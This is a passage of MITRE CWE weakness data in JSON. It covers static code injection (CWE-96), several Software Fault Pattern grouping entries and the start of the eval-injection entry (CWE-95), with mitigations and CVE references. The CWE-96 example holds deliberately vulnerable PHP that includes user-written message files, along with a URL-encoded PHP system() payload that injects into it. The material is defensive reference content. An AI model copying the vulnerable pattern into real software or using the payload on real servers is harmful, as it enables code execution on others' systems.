\\n\";"}, {"@style": "margin-left:1em;", "#text": "include($MessageFile);"}], "#text": "$MessageFile = \"messages.out\";if ($_GET[\"action\"] == \"NewMessage\") {}else if ($_GET[\"action\"] == \"ViewMessages\") {}"}, "#text_blocks": ["$MessageFile = \"messages.out\";", "if ($_GET[\"action\"] == \"NewMessage\") {", "$name = $_GET[\"name\"];", "$message = $_GET[\"message\"];", "$handle = fopen($MessageFile, \"a+\");", "fwrite($handle, \"$name says '$message'
\\n\";", "}", "else if ($_GET[\"action\"] == \"ViewMessages\") {", "include($MessageFile);", "}"]}, {"@Nature": "Attack", "xhtml:div": {"xhtml:br": null, "#text": "name=h4x0rmessage=%3C?php%20system(%22/bin/ls%20-l%22);?%3E"}, "#text_blocks": ["name=h4x0r", "message=%3C?php%20system(%22/bin/ls%20-l%22);?%3E"]}, {"@Nature": "Attack", "xhtml:div": "", "#text_blocks": [""]}], "Body_Text": ["While the programmer intends for the MessageFile to only include data, an attacker can provide a message such as:", "which will decode to the following:", "The programmer thought they were just including the contents of a regular data file, but PHP parsed it and executed the code. Now, this code is executed any time people view messages.", "Notice that XSS (CWE-79) is also possible in this situation."]}}, "Observed_Examples": {"Observed_Example": [{"Reference": "CVE-2002-0495", "Description": "Perl code directly injected into CGI library file from parameters to another CGI program.", "Link": "https://www.cve.org/CVERecord?id=CVE-2002-0495"}, {"Reference": "CVE-2005-1876", "Description": "Direct PHP code injection into supporting template file.", "Link": "https://www.cve.org/CVERecord?id=CVE-2005-1876"}, {"Reference": "CVE-2005-1894", "Description": "Direct code injection into PHP script that can be accessed by attacker.", "Link": "https://www.cve.org/CVERecord?id=CVE-2005-1894"}, {"Reference": "CVE-2003-0395", "Description": "PHP code from User-Agent HTTP header directly inserted into log file implemented as PHP script.", "Link": "https://www.cve.org/CVERecord?id=CVE-2003-0395"}, {"Reference": "CVE-2007-6652", "Description": "Chain: execution after redirect allows non-administrator to perform static code injection.", "Link": "https://www.cve.org/CVERecord?id=CVE-2007-6652"}]}, "Affected_Resources": {"Affected_Resource": "File or Directory"}, "Taxonomy_Mappings": {"Taxonomy_Mapping": [{"@Taxonomy_Name": "PLOVER", "Entry_Name": "Direct Static Code Injection"}, {"@Taxonomy_Name": "Software Fault Patterns", "Entry_ID": "SFP24", "Entry_Name": "Tainted Input to Command"}]}, "Related_Attack_Patterns": {"Related_Attack_Pattern": [{"@CAPEC_ID": "35"}, {"@CAPEC_ID": "73"}, {"@CAPEC_ID": "77"}, {"@CAPEC_ID": "81"}, {"@CAPEC_ID": "85"}]}, "Mapping_Notes": {"Usage": "Allowed", "Rationale": "This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.", "Comments": "Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.", "Reasons": {"Reason": {"@Type": "Acceptable-Use"}}}, "Notes": {"Note": {"@Type": "Relationship", "#text": "\"HTML injection\" (see CWE-79: XSS) could be thought of as an example of this, but the code is injected and executed on the client side, not the server side. Server-Side Includes (SSI) are an example of direct static code injection."}}, "Content_History": {"Submission": {"Submission_Name": "PLOVER", "Submission_Date": "2006-07-19", "Submission_Version": "Draft 3", "Submission_ReleaseDate": "2006-07-19"}, "Modification": [{"Modification_Name": "Eric Dalci", "Modification_Organization": "Cigital", "Modification_Date": "2008-07-01", "Modification_Version": "1.0", "Modification_ReleaseDate": "2008-09-09", "Modification_Comment": "updated Potential_Mitigations, Time_of_Introduction"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2008-09-08", "Modification_Version": "1.0", "Modification_ReleaseDate": "2008-09-09", "Modification_Comment": "updated Applicable_Platforms, Relationships, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2009-05-27", "Modification_Version": "1.4", "Modification_ReleaseDate": "2009-05-27", "Modification_Comment": "updated Description, Name"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2010-04-05", "Modification_Version": "1.8.1", "Modification_ReleaseDate": "2010-04-05", "Modification_Comment": "updated Description, Name"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2010-06-21", "Modification_Version": "1.9", "Modification_ReleaseDate": "2010-06-21", "Modification_Comment": "updated Potential_Mitigations"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2011-06-01", "Modification_Version": "1.13", "Modification_ReleaseDate": "2011-06-01", "Modification_Comment": "updated Common_Consequences"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2012-05-11", "Modification_Version": "2.2", "Modification_ReleaseDate": "2012-05-15", "Modification_Comment": "updated Common_Consequences, Demonstrative_Examples, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2012-10-30", "Modification_Version": "2.3", "Modification_ReleaseDate": "2012-10-30", "Modification_Comment": "updated Potential_Mitigations"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2013-02-21", "Modification_Version": "2.4", "Modification_ReleaseDate": "2013-02-21", "Modification_Comment": "updated Observed_Examples"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2014-06-23", "Modification_Version": "2.7", "Modification_ReleaseDate": "2014-06-23", "Modification_Comment": "updated Enabling_Factors_for_Exploitation, Other_Notes, Relationship_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2014-07-30", "Modification_Version": "2.8", "Modification_ReleaseDate": "2014-07-31", "Modification_Comment": "updated Relationships, Taxonomy_Mappings"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2017-05-03", "Modification_Version": "2.11", "Modification_ReleaseDate": "2017-05-05", "Modification_Comment": "updated Related_Attack_Patterns"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2017-11-08", "Modification_Version": "3.0", "Modification_ReleaseDate": "2017-11-08", "Modification_Comment": "updated Affected_Resources, Applicable_Platforms, Causal_Nature, Demonstrative_Examples, Enabling_Factors_for_Exploitation, Modes_of_Introduction, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2020-02-24", "Modification_Version": "4.0", "Modification_ReleaseDate": "2020-02-24", "Modification_Comment": "updated Potential_Mitigations, Relationships, Taxonomy_Mappings"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2020-06-25", "Modification_Version": "4.1", "Modification_ReleaseDate": "2020-06-25", "Modification_Comment": "updated Potential_Mitigations"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2021-03-15", "Modification_Version": "4.4", "Modification_ReleaseDate": "2021-03-15", "Modification_Comment": "updated Demonstrative_Examples"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2021-10-28", "Modification_Version": "4.6", "Modification_ReleaseDate": "2021-10-28", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2022-10-13", "Modification_Version": "4.9", "Modification_ReleaseDate": "2022-10-13", "Modification_Comment": "updated Relationships, Taxonomy_Mappings"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-01-31", "Modification_Version": "4.10", "Modification_ReleaseDate": "2023-01-31", "Modification_Comment": "updated Description"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Modes_of_Introduction, Relationships, Time_of_Introduction"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2025-12-11", "Modification_Version": "4.19", "Modification_ReleaseDate": "2025-12-11", "Modification_Comment": "updated Detection_Factors, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Alternate_Terms, Name"}], "Previous_Entry_Name": [{"@Date": "2008-04-11", "#text": "Direct Static Code Injection"}, {"@Date": "2009-05-27", "#text": "Insufficient Control of Directives in Statically Saved Code (Static Code Injection)"}, {"@Date": "2010-04-05", "#text": "Improper Sanitization of Directives in Statically Saved Code ('Static Code Injection')"}, {"@Date": "2026-10-28", "#text": "Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')"}]}, "entry_type": "Weakness", "ranking": 43.0}, {"@ID": "959", "@Name": "SFP Secondary Cluster: Weak Cryptography", "@Status": "Incomplete", "Summary": "This category identifies Software Fault Patterns (SFPs) within the Weak Cryptography cluster.", "Relationships": {"Has_Member": [{"@CWE_ID": "261", "@View_ID": "888"}, {"@CWE_ID": "322", "@View_ID": "888"}, {"@CWE_ID": "323", "@View_ID": "888"}, {"@CWE_ID": "324", "@View_ID": "888"}, {"@CWE_ID": "326", "@View_ID": "888"}, {"@CWE_ID": "329", "@View_ID": "888"}, {"@CWE_ID": "347", "@View_ID": "888"}, {"@CWE_ID": "640", "@View_ID": "888"}]}, "Mapping_Notes": {"Usage": "Prohibited", "Rationale": "This entry is a Grouping. Using groupings for mapping has been discouraged since 2019. They are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.", "Comments": "See member weaknesses of this category.", "Reasons": {"Reason": {"@Type": "Grouping"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2014-07-29", "Submission_Version": "2.8", "Submission_ReleaseDate": "2014-07-31"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Mapping_Notes, Type"}]}, "entry_type": "Grouping", "ranking": null}, {"@ID": "958", "@Name": "SFP Secondary Cluster: Broken Cryptography", "@Status": "Incomplete", "Summary": "This category identifies Software Fault Patterns (SFPs) within the Broken Cryptography cluster.", "Relationships": {"Has_Member": [{"@CWE_ID": "325", "@View_ID": "888"}, {"@CWE_ID": "327", "@View_ID": "888"}, {"@CWE_ID": "328", "@View_ID": "888"}, {"@CWE_ID": "759", "@View_ID": "888"}, {"@CWE_ID": "760", "@View_ID": "888"}]}, "Mapping_Notes": {"Usage": "Prohibited", "Rationale": "This entry is a Grouping. Using groupings for mapping has been discouraged since 2019. They are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.", "Comments": "See member weaknesses of this category.", "Reasons": {"Reason": {"@Type": "Grouping"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2014-07-29", "Submission_Version": "2.8", "Submission_ReleaseDate": "2014-07-31"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Mapping_Notes, Type"}]}, "entry_type": "Grouping", "ranking": null}, {"@ID": "957", "@Name": "SFP Secondary Cluster: Protocol Error", "@Status": "Incomplete", "Summary": "This category identifies Software Fault Patterns (SFPs) within the Protocol Error cluster.", "Relationships": {"Has_Member": [{"@CWE_ID": "353", "@View_ID": "888"}, {"@CWE_ID": "435", "@View_ID": "888"}, {"@CWE_ID": "436", "@View_ID": "888"}, {"@CWE_ID": "437", "@View_ID": "888"}, {"@CWE_ID": "757", "@View_ID": "888"}]}, "Mapping_Notes": {"Usage": "Prohibited", "Rationale": "This entry is a Grouping. Using groupings for mapping has been discouraged since 2019. They are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.", "Comments": "See member weaknesses of this category.", "Reasons": {"Reason": {"@Type": "Grouping"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2014-07-29", "Submission_Version": "2.8", "Submission_ReleaseDate": "2014-07-31"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Mapping_Notes, Type"}]}, "entry_type": "Grouping", "ranking": null}, {"@ID": "956", "@Name": "SFP Secondary Cluster: Channel Attack", "@Status": "Incomplete", "Summary": "This category identifies Software Fault Patterns (SFPs) within the Channel Attack cluster.", "Relationships": {"Has_Member": [{"@CWE_ID": "290", "@View_ID": "888"}, {"@CWE_ID": "294", "@View_ID": "888"}, {"@CWE_ID": "300", "@View_ID": "888"}, {"@CWE_ID": "301", "@View_ID": "888"}, {"@CWE_ID": "419", "@View_ID": "888"}, {"@CWE_ID": "420", "@View_ID": "888"}, {"@CWE_ID": "421", "@View_ID": "888"}, {"@CWE_ID": "441", "@View_ID": "888"}]}, "Mapping_Notes": {"Usage": "Prohibited", "Rationale": "This entry is a Grouping. Using groupings for mapping has been discouraged since 2019. They are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.", "Comments": "See member weaknesses of this category.", "Reasons": {"Reason": {"@Type": "Grouping"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2014-07-29", "Submission_Version": "2.8", "Submission_ReleaseDate": "2014-07-31"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Mapping_Notes, Type"}]}, "entry_type": "Grouping", "ranking": null}, {"@ID": "955", "@Name": "SFP Secondary Cluster: Unrestricted Authentication", "@Status": "Incomplete", "Summary": "This category identifies Software Fault Patterns (SFPs) within the Unrestricted Authentication cluster (SFP34).", "Relationships": {"Has_Member": {"@CWE_ID": "307", "@View_ID": "888"}}, "Mapping_Notes": {"Usage": "Prohibited", "Rationale": "This entry is a Grouping. Using groupings for mapping has been discouraged since 2019. They are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.", "Comments": "See member weaknesses of this category.", "Reasons": {"Reason": {"@Type": "Grouping"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2014-07-29", "Submission_Version": "2.8", "Submission_ReleaseDate": "2014-07-31"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2020-02-24", "Modification_Version": "4.0", "Modification_ReleaseDate": "2020-02-24", "Modification_Comment": "updated Description"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Mapping_Notes, Type"}]}, "entry_type": "Grouping", "ranking": null}, {"@ID": "954", "@Name": "SFP Secondary Cluster: Multiple Binds to the Same Port", "@Status": "Incomplete", "Summary": "This category identifies Software Fault Patterns (SFPs) within the Multiple Binds to the Same Port cluster (SFP32).", "Relationships": {"Has_Member": {"@CWE_ID": "605", "@View_ID": "888"}}, "Mapping_Notes": {"Usage": "Prohibited", "Rationale": "This entry is a Grouping. Using groupings for mapping has been discouraged since 2019. They are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.", "Comments": "See member weaknesses of this category.", "Reasons": {"Reason": {"@Type": "Grouping"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2014-07-29", "Submission_Version": "2.8", "Submission_ReleaseDate": "2014-07-31"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2020-02-24", "Modification_Version": "4.0", "Modification_ReleaseDate": "2020-02-24", "Modification_Comment": "updated Description"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Mapping_Notes, Type"}]}, "entry_type": "Grouping", "ranking": null}, {"@ID": "953", "@Name": "SFP Secondary Cluster: Missing Endpoint Authentication", "@Status": "Incomplete", "Summary": "This category identifies Software Fault Patterns (SFPs) within the Missing Endpoint Authentication cluster (SFP30).", "Relationships": {"Has_Member": [{"@CWE_ID": "422", "@View_ID": "888"}, {"@CWE_ID": "425", "@View_ID": "888"}]}, "Mapping_Notes": {"Usage": "Prohibited", "Rationale": "This entry is a Grouping. Using groupings for mapping has been discouraged since 2019. They are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.", "Comments": "See member weaknesses of this category.", "Reasons": {"Reason": {"@Type": "Grouping"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2014-07-29", "Submission_Version": "2.8", "Submission_ReleaseDate": "2014-07-31"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2020-02-24", "Modification_Version": "4.0", "Modification_ReleaseDate": "2020-02-24", "Modification_Comment": "updated Description"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Mapping_Notes, Type"}]}, "entry_type": "Grouping", "ranking": null}, {"@ID": "952", "@Name": "SFP Secondary Cluster: Missing Authentication", "@Status": "Incomplete", "Summary": "This category identifies Software Fault Patterns (SFPs) within the Missing Authentication cluster.", "Relationships": {"Has_Member": [{"@CWE_ID": "306", "@View_ID": "888"}, {"@CWE_ID": "620", "@View_ID": "888"}]}, "Mapping_Notes": {"Usage": "Prohibited", "Rationale": "This entry is a Grouping. Using groupings for mapping has been discouraged since 2019. They are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.", "Comments": "See member weaknesses of this category.", "Reasons": {"Reason": {"@Type": "Grouping"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2014-07-29", "Submission_Version": "2.8", "Submission_ReleaseDate": "2014-07-31"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Mapping_Notes, Type"}]}, "entry_type": "Grouping", "ranking": 1.0}, {"@ID": "951", "@Name": "SFP Secondary Cluster: Insecure Authentication Policy", "@Status": "Incomplete", "Summary": "This category identifies Software Fault Patterns (SFPs) within the Insecure Authentication Policy cluster.", "Relationships": {"Has_Member": [{"@CWE_ID": "262", "@View_ID": "888"}, {"@CWE_ID": "263", "@View_ID": "888"}, {"@CWE_ID": "521", "@View_ID": "888"}, {"@CWE_ID": "556", "@View_ID": "888"}, {"@CWE_ID": "613", "@View_ID": "888"}, {"@CWE_ID": "645", "@View_ID": "888"}]}, "Mapping_Notes": {"Usage": "Prohibited", "Rationale": "This entry is a Grouping. Using groupings for mapping has been discouraged since 2019. They are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.", "Comments": "See member weaknesses of this category.", "Reasons": {"Reason": {"@Type": "Grouping"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2014-07-29", "Submission_Version": "2.8", "Submission_ReleaseDate": "2014-07-31"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Mapping_Notes, Type"}]}, "entry_type": "Grouping", "ranking": null}, {"@ID": "950", "@Name": "SFP Secondary Cluster: Hardcoded Sensitive Data", "@Status": "Incomplete", "Summary": "This category identifies Software Fault Patterns (SFPs) within the Hardcoded Sensitive Data cluster (SFP33).", "Relationships": {"Has_Member": [{"@CWE_ID": "258", "@View_ID": "888"}, {"@CWE_ID": "259", "@View_ID": "888"}, {"@CWE_ID": "321", "@View_ID": "888"}, {"@CWE_ID": "547", "@View_ID": "888"}]}, "Mapping_Notes": {"Usage": "Prohibited", "Rationale": "This entry is a Grouping. Using groupings for mapping has been discouraged since 2019. They are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.", "Comments": "See member weaknesses of this category.", "Reasons": {"Reason": {"@Type": "Grouping"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2014-07-29", "Submission_Version": "2.8", "Submission_ReleaseDate": "2014-07-31"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2020-02-24", "Modification_Version": "4.0", "Modification_ReleaseDate": "2020-02-24", "Modification_Comment": "updated Description"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Mapping_Notes, Type"}]}, "entry_type": "Grouping", "ranking": null}, {"@ID": "95", "@Name": "Improper Neutralization of Directives in Dynamically Evaluated Code", "@Abstraction": "Variant", "@Structure": "Simple", "@Status": "Incomplete", "@Diagram": "/data/images/CWE-95-Diagram.png", "Description": "The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes code syntax before using the input in a dynamic evaluation call (e.g. \"eval\").", "Related_Weaknesses": {"Related_Weakness": [{"@Nature": "ChildOf", "@CWE_ID": "94", "@View_ID": "1000", "@Ordinal": "Primary"}]}, "Weakness_Ordinalities": {"Weakness_Ordinality": {"Ordinality": "Primary"}}, "Applicable_Platforms": {"Language": [{"@Name": "Java", "@Prevalence": "Undetermined"}, {"@Name": "JavaScript", "@Prevalence": "Undetermined"}, {"@Name": "Python", "@Prevalence": "Undetermined"}, {"@Name": "Perl", "@Prevalence": "Undetermined"}, {"@Name": "PHP", "@Prevalence": "Undetermined"}, {"@Name": "Ruby", "@Prevalence": "Undetermined"}, {"@Class": "Interpreted", "@Prevalence": "Undetermined"}], "Technology": {"@Name": "AI/ML", "@Prevalence": "Often"}}, "Alternate_Terms": {"Alternate_Term": {"Term": "Eval Injection", "Role": ["Common-Name", "Attack-Focused"]}}, "Modes_Of_Introduction": {"Introduction": [{"Phase": "Implementation", "Note": "REALIZATION: This weakness is caused during implementation of an architectural security tactic."}, {"Phase": "Implementation", "Note": "This weakness is prevalent in handler/dispatch procedures that might want to invoke a large number of functions, or set a large number of variables."}]}, "Likelihood_Of_Exploit": "Medium", "Common_Consequences": {"Consequence": [{"Scope": "Confidentiality", "Impact": ["Read Files or Directories", "Read Application Data"], "Note": "The injected code could access restricted data / files."}, {"Scope": "Access Control", "Impact": "Bypass Protection Mechanism", "Note": "In some cases, injectable code controls authentication; this may lead to a remote vulnerability."}, {"Scope": "Access Control", "Impact": "Gain Privileges or Assume Identity", "Note": "Injected code can access resources that the attacker is directly prevented from accessing."}, {"Scope": ["Integrity", "Confidentiality", "Availability", "Other"], "Impact": "Execute Unauthorized Code or Commands", "Note": "Code injection attacks can lead to loss of data integrity in nearly all cases as the control-plane data injected is always incidental to data recall or writing. Additionally, code injection can often result in the execution of arbitrary code or at least modify what code can be executed."}, {"Scope": "Non-Repudiation", "Impact": "Hide Activities", "Note": "Often the actions performed by injected control code are unlogged."}]}, "Detection_Methods": {"Detection_Method": {"@Detection_Method_ID": "DM-14", "Method": "Automated Static Analysis", "Description": "Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect \"sources\" (origins of input) with \"sinks\" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)", "Effectiveness": "High"}}, "Potential_Mitigations": {"Mitigation": [{"Phase": ["Architecture and Design", "Implementation"], "Strategy": "Refactoring", "Description": ["If possible, refactor your code so that it does not need to use eval() at all."]}, {"@Mitigation_ID": "MIT-5", "Phase": "Implementation", "Strategy": "Input Validation", "Description": ["Assume all input is malicious. Use an \"accept known good\" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.", "When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, \"boat\" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as \"red\" or \"blue.\"", "Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected 